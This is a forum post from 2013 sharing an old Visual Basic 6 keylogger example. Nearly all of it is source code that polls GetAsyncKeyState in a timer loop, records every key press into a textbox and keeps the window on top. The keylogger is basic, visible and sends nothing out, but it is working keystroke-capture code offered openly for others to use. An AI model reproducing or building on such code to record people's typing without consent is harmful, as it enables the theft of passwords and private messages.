VB6 Keylogger Example 11-17-2013, 01:17 AM
#1
Sharing my old vb6 snippets
Create
Timer
Textbox
Create
Timer
Textbox
Code:
Option Explicit
' This is not a real good key logger, but I've
' had a lot of people ask for an example so I
' thought I'd make one up.
' contact: patorjk@aol.com
' website: www.patorjk.com
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const SWP_NOMOVE = 2
Private Const SWP_NOSIZE = 1
Private Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE
Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2
Private Sub Form_Load()
Call SetWindowPos(Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
End Sub
Private Sub Text1_Click()
MsgBox "Don't use this textbox!", 16, "PAT or JK"
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
KeyAscii = 0
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Dim x As Integer, i As Integer
' loop through the some of the different
' keys on the keyboard
For i = 32 To 256
x = GetAsyncKeyState(i)
' if it looks like the key is pressed...
If x = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
' if the textbox gets too full then
' clear it
If Len(Text1.Text) > 5000 Then
Text1.Text = ""
End If
Next
' check for backspace
x = GetAsyncKeyState(8)
If x = -32767 Then
Text1.Text = Mid(Text1.Text, 1, Len(Text1) - 1)
End If
If Len(Text1.Text) > 5000 Then
Text1.Text = ""
End If
End Sub
![[Image: ngT5EVj.png]](http://i.imgur.com/ngT5EVj.png)
wow so binary much 0 very 1